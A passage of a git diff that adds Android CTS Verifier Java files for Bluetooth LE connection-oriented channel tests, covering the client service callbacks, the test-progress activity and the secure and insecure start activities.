+                    mBleState = newState;
+                    int bondState = gatt.getDevice().getBondState();
+                    boolean bonded = false;
+                    BluetoothDevice target = gatt.getDevice();
+                    Set<BluetoothDevice> pairedDevices = mBluetoothAdapter.getBondedDevices();
+                    if (!pairedDevices.isEmpty()) {
+                        for (BluetoothDevice device : pairedDevices) {
+                            if (device.getAddress().equals(target.getAddress())) {
+                                bonded = true;
+                                break;
+                            }
+                        }
+                    }
+                    if (mSecure && ((bondState == BluetoothDevice.BOND_NONE) || !bonded)) {
+                        // not pairing and execute Secure Test
+                        Log.e(TAG, "BluetoothGattCallback.onConnectionStateChange: "
+                              + "Not paired but execute secure test");
+                        mBluetoothGatt.disconnect();
+                        notifyMismatchSecure();
+                    } else if (!mSecure && ((bondState != BluetoothDevice.BOND_NONE) || bonded)) {
+                        // already pairing and execute Insecure Test
+                        Log.e(TAG, "BluetoothGattCallback.onConnectionStateChange: "
+                              + "Paired but execute insecure test");
+                        mBluetoothGatt.disconnect();
+                        notifyMismatchInsecure();
+                    } else {
+                        notifyConnected();
+                    }
+                } else if (status == BluetoothProfile.STATE_DISCONNECTED) {
+                    mBleState = newState;
+                    mSecure = false;
+                    mBluetoothGatt.close();
+                    notifyDisconnected();
+                }
+            } else {
+                showMessage("Failed to connect: " + status + " , newState = " + newState);
+                mBluetoothGatt.close();
+                mBluetoothGatt = null;
+            }
+        }
+
+        @Override
+        public void onServicesDiscovered(BluetoothGatt gatt, int status) {
+            if (DEBUG) {
+                Log.d(TAG, "onServicesDiscovered: status=" + status);
+            }
+            if ((status == BluetoothGatt.GATT_SUCCESS) &&
+                (mBluetoothGatt.getService(SERVICE_UUID) != null)) {
+                notifyServicesDiscovered();
+            }
+        }
+
+        @Override
+        public void onCharacteristicRead(BluetoothGatt gatt,
+                BluetoothGattCharacteristic characteristic, int status) {
+            UUID uid = characteristic.getUuid();
+            if (DEBUG) {
+                Log.d(TAG, "onCharacteristicRead: status=" + status + ", uuid=" + uid);
+            }
+            if (status == BluetoothGatt.GATT_SUCCESS) {
+                String value = characteristic.getStringValue(0);
+                if (characteristic.getUuid().equals(LE_PSM_CHARACTERISTIC_UUID)) {
+                    mPsm = characteristic.getIntValue(BluetoothGattCharacteristic.FORMAT_UINT8, 0);
+                    if (DEBUG) {
+                        Log.d(TAG, "onCharacteristicRead: reading PSM=" + mPsm);
+                    }
+                    Intent intent = new Intent(BLE_GOT_PSM);
+                    sendBroadcast(intent);
+                } else {
+                    if (DEBUG) {
+                        Log.d(TAG, "onCharacteristicRead: Note: unknown uuid=" + uid);
+                    }
+                }
+            } else if (status == BluetoothGatt.GATT_READ_NOT_PERMITTED) {
+                notifyError("Not Permission Read: " + status + " : " + uid);
+            } else if (status == BluetoothGatt.GATT_INSUFFICIENT_AUTHENTICATION) {
+                notifyError("Not Authentication Read: " + status + " : " + uid);
+            } else {
+                notifyError("Failed to read characteristic: " + status + " : " + uid);
+            }
+        }
+    };
+
+    private final ScanCallback mScanCallback = new ScanCallback() {
+        @Override
+        public void onScanResult(int callbackType, ScanResult result) {
+            if (mBluetoothGatt == null) {
+                // verify the validity of the advertisement packet.
+                mValidityService = false;
+                List<ParcelUuid> uuids = result.getScanRecord().getServiceUuids();
+                for (ParcelUuid uuid : uuids) {
+                    if (uuid.getUuid().equals(BleCocServerService.ADV_COC_SERVICE_UUID)) {
+                        if (DEBUG) {
+                            Log.d(TAG, "onScanResult: Found ADV with LE CoC Service UUID.");
+                        }
+                        mValidityService = true;
+                        break;
+                    }
+                }
+                if (mValidityService) {
+                    stopScan();
+
+                    BluetoothDevice device = result.getDevice();
+                    if (DEBUG) {
+                        Log.d(TAG, "onScanResult: Found ADV with CoC UUID on device="
+                              + device);
+                    }
+                    if (mSecure) {
+                        if (device.getBondState() != BluetoothDevice.BOND_BONDED) {
+                            if (!device.createBond()) {
+                                notifyError("Failed to call create bond");
+                            }
+                        } else {
+                            mDevice = device;
+                            mBluetoothGatt = connectGatt(result.getDevice(), BleCocClientService.this, false,
+                                                         mSecure, mGattCallbacks);
+                        }
+                    } else {
+                        mDevice = device;
+                        mBluetoothGatt = connectGatt(result.getDevice(), BleCocClientService.this, false, mSecure,
+                                                     mGattCallbacks);
+                    }
+                } else {
+                    notifyError("No valid service in Advertisement");
+                }
+            }
+        }
+    };
+
+    private boolean checkReadBufContent(byte[] buf, int len) {
+        // Check that the content is correct
+        for (int i = 0; i < len; i++) {
+            if (buf[i] != mNextReadByte) {
+                Log.e(TAG, "handleMessageRead: Error: wrong byte content. buf["
+                      + i + "]=" + buf[i] + " not equal to " + mNextReadByte);
+                return false;
+            }
+            mNextReadByte++;
+        }
+        return true;
+    }
+
+    private void handleMessageRead(Message msg) {
+        byte[] buf = (byte[])msg.obj;
+        int len = msg.arg1;
+        if (len <= 0) {
+            return;
+        }
+        mTotalReadLen += len;
+        if (DEBUG) {
+            Log.d(TAG, "handleMessageRead: receive buffer of length=" + len + ", mTotalReadLen="
+                  + mTotalReadLen + ", mNextReadExpectedLen=" + mNextReadExpectedLen);
+        }
+
+        if (mNextReadExpectedLen == mTotalReadLen) {
+            if (!checkReadBufContent(buf, len)) {
+                mNextReadExpectedLen = -1;
+                return;
+            }
+            showMessage("Read " + len + " bytes");
+            if (DEBUG) {
+                Log.d(TAG, "handleMessageRead: broadcast intent " + mNextReadCompletionIntent);
+            }
+            Intent intent = new Intent(mNextReadCompletionIntent);
+            sendBroadcast(intent);
+            mNextReadExpectedLen = -1;
+            mNextReadCompletionIntent = null;
+            mTotalReadLen = 0;
+        } else if (mNextReadExpectedLen > mTotalReadLen) {
+            if (!checkReadBufContent(buf, len)) {
+                mNextReadExpectedLen = -1;
+                return;
+            }
+        } else if (mNextReadExpectedLen < mTotalReadLen) {
+            Log.e(TAG, "handleMessageRead: Unexpected receive buffer of length=" + len
+                  + ", expected len=" + mNextReadExpectedLen);
+        }
+    }
+
+    private void sendMessage(byte[] buf) {
+        mChatService.write(buf);
+    }
+
+    private void handleMessageWrite(Message msg) {
+        byte[] buffer = (byte[]) msg.obj;
+        int len = buffer.length;
+
+        showMessage("LE Coc Client wrote " + len + " bytes");
+        if (len == mNextWriteExpectedLen) {
+            if (mNextWriteCompletionIntent != null) {
+                Intent intent = new Intent(mNextWriteCompletionIntent);
+                sendBroadcast(intent);
+            }
+        } else {
+            Log.d(TAG, "handleMessageWrite: unrecognized length=" + len);
+        }
+    }
+
+    private class ChatHandler extends Handler {
+        @Override
+        public void handleMessage(Message msg) {
+            super.handleMessage(msg);
+            if (DEBUG) {
+                Log.d(TAG, "ChatHandler.handleMessage: msg=" + msg);
+            }
+            int state = msg.arg1;
+            switch (msg.what) {
+            case BluetoothChatService.MESSAGE_STATE_CHANGE:
+                if (state == BluetoothChatService.STATE_CONNECTED) {
+                    // LE CoC is established
+                    notifyLeCocClientConnected();
+                }
+                break;
+            case BluetoothChatService.MESSAGE_READ:
+                handleMessageRead(msg);
+                break;
+            case BluetoothChatService.MESSAGE_WRITE:
+                handleMessageWrite(msg);
+                break;
+            }
+        }
+    }
+
+    private void notifyLeCocClientConnected() {
+        if (DEBUG) {
+            Log.d(TAG, "notifyLeCocClientConnected: device=" + mDevice + ", mSecure=" + mSecure);
+        }
+        showMessage("Bluetooth LE Coc connected");
+        Intent intent = new Intent(BLE_COC_CONNECTED);
+        sendBroadcast(intent);
+    }
+
+    private void leCocClientConnect() {
+        if (DEBUG) {
+            Log.d(TAG, "leCocClientConnect: device=" + mDevice + ", mSecure=" + mSecure);
+        }
+        if (mDevice == null) {
+            Log.e(TAG, "leCocClientConnect: mDevice is null");
+            return;
+        }
+        // Construct BluetoothChatService with useBle=true parameter
+        mChatService = new BluetoothChatService(this, new ChatHandler(), true);
+        mChatService.connect(mDevice, mSecure, mPsm);
+    }
+
+    private void leCheckConnectionType() {
+        if (mChatService == null) {
+            Log.e(TAG, "leCheckConnectionType: no LE Coc connection");
+            return;
+        }
+        int type = mChatService.getSocketConnectionType();
+        if (type != BluetoothSocket.TYPE_L2CAP) {
+            Log.e(TAG, "leCheckConnectionType: invalid connection type=" + type);
+            return;
+        }
+        showMessage("LE Coc Connection Type Checked");
+        Intent intent = new Intent(BLE_CONNECTION_TYPE_CHECKED);
+        sendBroadcast(intent);
+    }
+
+    private void sendData8bytes() {
+        if (DEBUG) Log.d(TAG, "sendData8bytes");
+
+        final byte[] buf = new byte[]{1, 2, 3, 4, 5, 6, 7, 8};
+        mNextWriteExpectedLen = 8;
+        mNextWriteCompletionIntent = BLE_DATA_8BYTES_SENT;
+        sendMessage(buf);
+    }
+
+    private void sendDataLargeBuf() {
+        final int len = BleCocServerService.TEST_DATA_EXCHANGE_BUFSIZE;
+        if (DEBUG) Log.d(TAG, "sendDataLargeBuf of size=" + len);
+
+        byte[] buf = new byte[len];
+        for (int i = 0; i < len; i++) {
+            buf[i] = (byte)(i + 1);
+        }
+        mNextWriteExpectedLen = len;
+        mNextWriteCompletionIntent = null;
+        sendMessage(buf);
+    }
+
+    private void readData8bytes() {
+        mNextReadExpectedLen = 8;
+        mNextReadCompletionIntent = BLE_DATA_8BYTES_READ;
+        mNextReadByte = 1;
+    }
+
+    private void readDataLargeBuf() {
+        mNextReadExpectedLen = BleCocServerService.TEST_DATA_EXCHANGE_BUFSIZE;
+        mNextReadCompletionIntent = BLE_DATA_LARGEBUF_READ;
+        mNextReadByte = 1;
+    }
+
+    private void startScan() {
+        if (DEBUG) Log.d(TAG, "startScan");
+        List<ScanFilter> filter = Arrays.asList(new ScanFilter.Builder().setServiceUuid(
+                new ParcelUuid(BleCocServerService.ADV_COC_SERVICE_UUID)).build());
+        ScanSettings setting = new ScanSettings.Builder()
+                .setScanMode(ScanSettings.SCAN_MODE_LOW_LATENCY).build();
+        mScanner.startScan(filter, setting, mScanCallback);
+    }
+
+    private void stopScan() {
+        if (DEBUG) Log.d(TAG, "stopScan");
+        if (mScanner != null) {
+            mScanner.stopScan(mScanCallback);
+        }
+    }
+
+    private final BroadcastReceiver mBondStatusReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (intent.getAction().equals(BluetoothDevice.ACTION_BOND_STATE_CHANGED)) {
+                BluetoothDevice device = intent.getParcelableExtra(BluetoothDevice.EXTRA_DEVICE);
+                int state = intent.getIntExtra(BluetoothDevice.EXTRA_BOND_STATE,
+                                               BluetoothDevice.BOND_NONE);
+                switch (state) {
+                    case BluetoothDevice.BOND_BONDED:
+                        if (mBluetoothGatt == null) {
+                            if (DEBUG) {
+                                Log.d(TAG, "onReceive:BOND_BONDED: calling connectGatt. device="
+                                             + device + ", mSecure=" + mSecure);
+                            }
+                            mDevice = device;
+                            mBluetoothGatt = connectGatt(device, BleCocClientService.this, false, mSecure,
+                                                         mGattCallbacks);
+                        }
+                        break;
+                    case BluetoothDevice.BOND_NONE:
+                        notifyError("Failed to create bond");
+                        break;
+                    case BluetoothDevice.BOND_BONDING:
+                        // fall through
+                    default:
+                        // wait for next state
+                        break;
+                }
+            }
+        }
+    };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientTestBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientTestBaseActivity.java
new file mode 100644
index 0000000..c5c84d2
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocClientTestBaseActivity.java
@@ -0,0 +1,295 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.app.AlertDialog;
+import android.app.Dialog;
+import android.app.ProgressDialog;
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothManager;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.DialogInterface;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.Bundle;
+import android.os.Handler;
+import android.widget.ListView;
+
+import com.android.cts.verifier.PassFailButtons;
+import com.android.cts.verifier.R;
+
+import java.util.ArrayList;
+import java.util.List;
+import android.util.Log;
+
+public class BleCocClientTestBaseActivity extends PassFailButtons.Activity {
+    public static final String TAG = "BleCocClientTestBase";
+
+    private static final boolean STEP_EXECUTION = false;
+
+    private final int TEST_BLE_LE_CONNECTED = 0;
+    private final int TEST_BLE_GOT_PSM = 1;
+    private final int TEST_BLE_COC_CONNECTED = 2;
+    private final int TEST_BLE_CONNECTION_TYPE_CHECKED = 3;
+    private final int TEST_BLE_DATA_8BYTES_SENT = 4;
+    private final int TEST_BLE_DATA_8BYTES_READ = 5;
+    private final int TEST_BLE_DATA_EXCHANGED = 6;
+    private final int TEST_BLE_CLIENT_DISCONNECTED = 7;
+    private static final int PASS_FLAG_ALL = 0x00FF;
+
+    private TestAdapter mTestAdapter;
+    private long mPassed;
+    private Dialog mDialog;
+    private Handler mHandler;
+
+    private static final long BT_ON_DELAY = 10000;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.ble_server_start);
+        setPassFailButtonClickListeners();
+        getPassButton().setEnabled(false);
+
+        mTestAdapter = new TestAdapter(this, setupTestList());
+        ListView listView = (ListView) findViewById(R.id.ble_server_tests);
+        listView.setAdapter(mTestAdapter);
+
+        mPassed = 0;
+        mHandler = new Handler();
+    }
+
+    @Override
+    public void onResume() {
+        super.onResume();
+
+        IntentFilter filter = new IntentFilter();
+
+        filter.addAction(BleCocClientService.BLE_LE_CONNECTED);
+        filter.addAction(BleCocClientService.BLE_GOT_PSM);
+        filter.addAction(BleCocClientService.BLE_COC_CONNECTED);
+        filter.addAction(BleCocClientService.BLE_CONNECTION_TYPE_CHECKED);
+        filter.addAction(BleCocClientService.BLE_DATA_8BYTES_SENT);
+        filter.addAction(BleCocClientService.BLE_DATA_8BYTES_READ);
+        filter.addAction(BleCocClientService.BLE_DATA_LARGEBUF_READ);
+        filter.addAction(BleCocClientService.BLE_LE_DISCONNECTED);
+
+        filter.addAction(BleCocClientService.BLE_BLUETOOTH_DISCONNECTED);
+        filter.addAction(BleCocClientService.BLE_BLUETOOTH_DISABLED);
+        filter.addAction(BleCocClientService.BLE_BLUETOOTH_MISMATCH_SECURE);
+        filter.addAction(BleCocClientService.BLE_BLUETOOTH_MISMATCH_INSECURE);
+        filter.addAction(BleCocClientService.BLE_CLIENT_ERROR);
+
+        registerReceiver(mBroadcast, filter);
+    }
+
+    @Override
+    public void onPause() {
+        super.onPause();
+        unregisterReceiver(mBroadcast);
+        closeDialog();
+    }
+
+    private synchronized void closeDialog() {
+        if (mDialog != null) {
+            mDialog.dismiss();
+            mDialog = null;
+        }
+    }
+
+    private synchronized void showProgressDialog() {
+        closeDialog();
+
+        ProgressDialog dialog = new ProgressDialog(this);
+        dialog.setTitle(R.string.ble_test_running);
+        dialog.setProgressStyle(ProgressDialog.STYLE_SPINNER);
+        dialog.setMessage(getString(R.string.ble_test_running_message));
+        dialog.setCanceledOnTouchOutside(false);
+        mDialog = dialog;
+        mDialog.show();
+    }
+
+    private List<Integer> setupTestList() {
+        ArrayList<Integer> testList = new ArrayList<Integer>();
+        testList.add(R.string.ble_coc_client_le_connect);
+        testList.add(R.string.ble_coc_client_get_psm);
+        testList.add(R.string.ble_coc_client_coc_connect);
+        testList.add(R.string.ble_coc_client_check_connection_type);
+        testList.add(R.string.ble_coc_client_send_data_8bytes);
+        testList.add(R.string.ble_coc_client_receive_data_8bytes);
+        testList.add(R.string.ble_coc_client_data_exchange);
+        testList.add(R.string.ble_client_disconnect_name);
+        return testList;
+    }
+
+    private void showErrorDialog(int titleId, int messageId, boolean finish) {
+        AlertDialog.Builder builder = new AlertDialog.Builder(this)
+                .setTitle(titleId)
+                .setMessage(messageId);
+        if (finish) {
+            builder.setOnCancelListener(new Dialog.OnCancelListener() {
+                @Override
+                public void onCancel(DialogInterface dialog) {
+                    finish();
+                }
+            });
+        }
+        builder.create().show();
+    }
+
+    private BroadcastReceiver mBroadcast = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            boolean showProgressDialog = false;
+            closeDialog();
+
+            String action = intent.getAction();
+            String newAction = null;
+            String actionName = null;
+            long previousPassed = mPassed;
+            final Intent startIntent = new Intent(BleCocClientTestBaseActivity.this, BleCocClientService.class);
+            if (action != null) {
+                Log.d(TAG, "Processing " + action);
+            }
+            switch (action) {
+            case BleCocClientService.BLE_LE_CONNECTED:
+                actionName = getString(R.string.ble_coc_client_le_connect);
+                mTestAdapter.setTestPass(TEST_BLE_LE_CONNECTED);
+                mPassed |= (1 << TEST_BLE_LE_CONNECTED);
+                // Start LE Service Discovery and then read the PSM
+                newAction = BleCocClientService.BLE_COC_CLIENT_ACTION_GET_PSM;
+                break;
+
+            case BleCocClientService.BLE_GOT_PSM:
+                actionName = getString(R.string.ble_coc_client_get_psm);
+                mTestAdapter.setTestPass(TEST_BLE_GOT_PSM);
+                mPassed |= (1 << TEST_BLE_GOT_PSM);
+                // Connect the LE CoC
+                newAction = BleCocClientService.BLE_COC_CLIENT_ACTION_COC_CLIENT_CONNECT;
+                break;
+
+            case BleCocClientService.BLE_COC_CONNECTED:
+                actionName = getString(R.string.ble_coc_client_coc_connect);
+                mTestAdapter.setTestPass(TEST_BLE_COC_CONNECTED);
+                mPassed |= (1 << TEST_BLE_COC_CONNECTED);
+                // Check the connection type
+                newAction = BleCocClientService.BLE_COC_CLIENT_ACTION_CHECK_CONNECTION_TYPE;
+                break;
+
+            case BleCocClientService.BLE_CONNECTION_TYPE_CHECKED:
+                actionName = getString(R.string.ble_coc_client_check_connection_type);
+                mTestAdapter.setTestPass(TEST_BLE_CONNECTION_TYPE_CHECKED);
+                mPassed |= (1 << TEST_BLE_CONNECTION_TYPE_CHECKED);
+                // Send 8 bytes
+                newAction = BleCocClientService.BLE_COC_CLIENT_ACTION_SEND_DATA_8BYTES;
+                break;
+
+            case BleCocClientService.BLE_DATA_8BYTES_SENT:
+                actionName = getString(R.string.ble_coc_client_send_data_8bytes);
+                mTestAdapter.setTestPass(TEST_BLE_DATA_8BYTES_SENT);
+                mPassed |= (1 << TEST_BLE_DATA_8BYTES_SENT);
+                // Read 8 bytes
+                newAction = BleCocClientService.BLE_COC_CLIENT_ACTION_READ_DATA_8BYTES;
+                break;
+
+            case BleCocClientService.BLE_DATA_8BYTES_READ:
+                actionName = getString(R.string.ble_coc_client_receive_data_8bytes);
+                mTestAdapter.setTestPass(TEST_BLE_DATA_8BYTES_READ);
+                mPassed |= (1 << TEST_BLE_DATA_8BYTES_READ);
+                // Do data exchanges
+                newAction = BleCocClientService.BLE_COC_CLIENT_ACTION_EXCHANGE_DATA;
+                break;
+
+            case BleCocClientService.BLE_DATA_LARGEBUF_READ:
+                actionName = getString(R.string.ble_coc_client_data_exchange);
+                mTestAdapter.setTestPass(TEST_BLE_DATA_EXCHANGED);
+                mPassed |= (1 << TEST_BLE_DATA_EXCHANGED);
+                // Disconnect
+                newAction = BleCocClientService.BLE_CLIENT_ACTION_CLIENT_DISCONNECT;
+                break;
+
+            case BleCocClientService.BLE_BLUETOOTH_DISCONNECTED:
+                mTestAdapter.setTestPass(TEST_BLE_CLIENT_DISCONNECTED);
+                mPassed |= (1 << TEST_BLE_CLIENT_DISCONNECTED);
+                // all tests done
+                newAction = null;
+                break;
+
+            case BleCocClientService.BLE_BLUETOOTH_DISABLED:
+                showErrorDialog(R.string.ble_bluetooth_disable_title, R.string.ble_bluetooth_disable_message, true);
+                break;
+
+            case BleCocClientService.BLE_BLUETOOTH_MISMATCH_SECURE:
+                showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_secure_message, true);
+                break;
+
+            case BleCocClientService.BLE_BLUETOOTH_MISMATCH_INSECURE:
+                showErrorDialog(R.string.ble_bluetooth_mismatch_title, R.string.ble_bluetooth_mismatch_insecure_message, true);
+                break;
+
+            default:
+                Log.e(TAG, "onReceive: Error: unhandled action=" + action);
+            }
+
+            if (previousPassed != mPassed) {
+                String logMessage = String.format("Passed Flags has changed from 0x%08X to 0x%08X. Delta=0x%08X",
+                                                  previousPassed, mPassed, mPassed ^ previousPassed);
+                Log.d(TAG, logMessage);
+            }
+
+            mTestAdapter.notifyDataSetChanged();
+
+            if (newAction != null) {
+                Log.d(TAG, "Starting " + newAction);
+                startIntent.setAction(newAction);
+                if (STEP_EXECUTION) {
+                    closeDialog();
+                    final boolean showProgressDialogValue = showProgressDialog;
+                    mDialog = new AlertDialog.Builder(BleCocClientTestBaseActivity.this)
+                            .setTitle(actionName)
+                            .setMessage(R.string.ble_test_finished)
+                            .setCancelable(false)
+                            .setPositiveButton(R.string.ble_test_next,
+                                    new DialogInterface.OnClickListener() {
+                                        @Override
+                                        public void onClick(DialogInterface dialog, int which) {
+                                            closeDialog();
+                                            if (showProgressDialogValue) {
+                                                showProgressDialog();
+                                            }
+                                            startService(startIntent);
+                                        }
+                                    })
+                            .show();
+                } else {
+                    if (showProgressDialog) {
+                        showProgressDialog();
+                    }
+                    startService(startIntent);
+                }
+            } else {
+                closeDialog();
+            }
+
+            if (mPassed == PASS_FLAG_ALL) {
+                Log.d(TAG, "All Tests Passed.");
+                getPassButton().setEnabled(true);
+            }
+        }
+    };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureClientStartActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureClientStartActivity.java
new file mode 100644
index 0000000..177f953
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureClientStartActivity.java
@@ -0,0 +1,44 @@
+/*

+ * Copyright 2018 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.content.Intent;

+import android.os.Bundle;

+import com.android.cts.verifier.R;

+

+public class BleCocInsecureClientStartActivity extends BleCocClientTestBaseActivity {

+    private Intent mIntent;

+

+    @Override

+    public void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+

+        setInfoResources(R.string.ble_coc_client_test_name,

+                R.string.ble_coc_insecure_client_test_info, -1);

+

+        mIntent = new Intent(this, BleCocClientService.class);

+        mIntent.setAction(BleCocClientService.BLE_COC_CLIENT_ACTION_LE_INSECURE_CONNECT);

+

+        startService(mIntent);

+    }

+

+    @Override

+    public void onDestroy() {

+        super.onDestroy();

+        stopService(mIntent);

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureClientTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureClientTestListActivity.java
new file mode 100644
index 0000000..f60909a
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureClientTestListActivity.java
@@ -0,0 +1,46 @@
+/*

+ * Copyright 2018 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.bluetooth.BluetoothAdapter;

+import android.os.Bundle;

+

+import com.android.cts.verifier.ManifestTestListAdapter;

+import com.android.cts.verifier.PassFailButtons;

+import com.android.cts.verifier.R;

+

+import java.util.ArrayList;

+import java.util.List;

+

+public class BleCocInsecureClientTestListActivity extends PassFailButtons.TestListActivity {

+

+    @Override

+    protected void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+        setContentView(R.layout.pass_fail_list);

+        setPassFailButtonClickListeners();

+        setInfoResources(R.string.ble_coc_insecure_client_test_list_name,

+                R.string.ble_coc_insecure_client_test_list_info,

+                -1);

+

+        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();

+        List<String> disabledTest = new ArrayList<String>();

+

+        setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),

+                disabledTest.toArray(new String[disabledTest.size()])));

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureServerStartActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureServerStartActivity.java
new file mode 100644
index 0000000..7f7808b
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureServerStartActivity.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.bluetooth;
+
+import android.content.Intent;
+import android.os.Bundle;
+
+public class BleCocInsecureServerStartActivity extends BleCocServerTestBaseActivity {
+    private Intent mIntent;
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        mIntent = new Intent(this, BleCocServerService.class);
+        mIntent.setAction(BleCocServerService.BLE_ACTION_COC_SERVER_INSECURE);
+        startService(mIntent);
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        stopService(mIntent);
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureServerTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureServerTestListActivity.java
new file mode 100644
index 0000000..2f5c59e
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocInsecureServerTestListActivity.java
@@ -0,0 +1,45 @@
+/*

+ * Copyright 2018 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.bluetooth.BluetoothAdapter;

+import android.os.Bundle;

+

+import com.android.cts.verifier.ManifestTestListAdapter;

+import com.android.cts.verifier.PassFailButtons;

+import com.android.cts.verifier.R;

+

+import java.util.ArrayList;

+import java.util.List;

+

+public class BleCocInsecureServerTestListActivity extends PassFailButtons.TestListActivity {

+

+    @Override

+    protected void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+        setContentView(R.layout.pass_fail_list);

+        setPassFailButtonClickListeners();

+        setInfoResources(R.string.ble_coc_insecure_server_test_list_name, R.string.ble_coc_insecure_server_test_list_info, -1);

+

+        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();

+        List<String> disabledTest = new ArrayList<String>();

+        // TODO: Any need to remove certain tests based on supported features?

+

+        setTestListAdapter(new ManifestTestListAdapter(this, getClass().getName(),

+                disabledTest.toArray(new String[disabledTest.size()])));

+    }

+}

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureClientStartActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureClientStartActivity.java
new file mode 100644
index 0000000..ae97daa
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleCocSecureClientStartActivity.java
@@ -0,0 +1,44 @@
+/*

+ * Copyright 2018 The Android Open Source Project

+ *

+ * Licensed under the Apache License, Version 2.0 (the "License");

+ * you may not use this file except in compliance with the License.

+ * You may obtain a copy of the License at

+ *

+ *      http://www.apache.org/licenses/LICENSE-2.0

+ *

+ * Unless required by applicable law or agreed to in writing, software

+ * distributed under the License is distributed on an "AS IS" BASIS,

+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.

+ * See the License for the specific language governing permissions and

+ * limitations under the License.

+ */

+

+package com.android.cts.verifier.bluetooth;

+

+import android.content.Intent;

+import android.os.Bundle;

+import com.android.cts.verifier.R;

+

+public class BleCocSecureClientStartActivity extends BleCocClientTestBaseActivity {

+    private Intent mIntent;

+

+    @Override

+    public void onCreate(Bundle savedInstanceState) {

+        super.onCreate(savedInstanceState);

+

+        setInfoResources(R.string.ble_coc_client_test_name,

+                R.string.ble_coc_secure_client_test_info, -1);

+

